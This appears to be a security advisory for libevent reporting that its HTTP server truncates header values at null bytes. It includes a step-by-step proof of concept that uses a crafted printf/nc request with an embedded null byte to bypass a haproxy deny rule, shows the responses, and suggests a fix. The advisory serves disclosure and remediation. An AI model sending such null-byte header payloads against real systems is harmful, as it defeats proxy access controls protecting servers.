HTTP parser truncates headers at null bytes
Author: kenballusCreated Sep 3, 2025Updated May 25, 2026
Summary
libevent, when acting as an HTTP server, truncates header values at their first null byte. For example, when libevent receives the following request,
GET / HTTP/1.1\r\n
Host: whatever\r\n
User: admin\x00this-gets-ignored\r\n
\r\nit sees the User header as having the value admin. This can cause problems because many popular HTTP proxies allow null bytes within header values (even though this violates the standards). Thus, this discrepancy can be used to defeat those proxies' request filtering capabilities.
PoC
(This PoC demonstrates how this bug can be used to bypass an haproxy ACL.) 0. Start a Debian Bookworm container.
docker run --rm -it debian:bookworm-slim- Install dependencies:
apt -y update && apt -y upgrade && apt -y install haproxy git make gcc cmake netcat-openbsd- Build and run the libevent example HTTP server on port 8000:
cd ~ && git clone 'https://github.com/libevent/libevent' && cd libevent && cmake . && make -j`nproc` && mkdir -p /var/www && ./bin/http-server -H 127.0.0.1 -p 8000 /var/www &- Copy the following into
/etc/haproxy/haproxy.cfg:
global
maxconn 4096
defaults
mode http
option http-keep-alive
timeout client 10s
timeout connect 10s
timeout server 10s
timeout http-request 10s
http-reuse always
frontend the_frontend
bind 127.0.01:8001
http-request deny if { req.hdr(Test) -m end evil }
default_backend the_backend
backend the_backend
server server1 localhost:8000- Start up haproxy:
haproxy -f /etc/haproxy/haproxy.cfg- From another terminal (in the same container) send a request to verify that requests with a
Testheader value ending inevilare denied, as specified in the haproxy config:
printf 'GET /dump HTTP/1.1\r\nTest: i-am-evil\r\n\r\n' | nc localhost 8001- Observe haproxy's response, indicating that the ACL works:
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>- Bypass the ACL by exploiting the facts that (1) libevent truncates headers at null bytes, and (2) haproxy forwards null bytes as-is:
printf 'GET /dump HTTP/1.1\r\nTest: i-am-evil\x00this-gets-ignored\r\n\r\n' | nc localhost 8001- Observe haproxy's response, indicating that the request was not blocked:
HTTP/1.1 200 OK
date: Mon, 29 Jan 2024 20:45:54 GMT
content-length: 0
content-type: text/html; charset=ISO-8859-1
- Observe that libevent logged a request that bypassed haproxy's ACL:
Received a GET request for /dump
Headers:
test: i-am-evil
Input data: <<<
>>>Suggested fix
Deny requests with null bytes in header values. This is both what the standard requires and what the vast majority of HTTP implementations do.
Source: libevent/libevent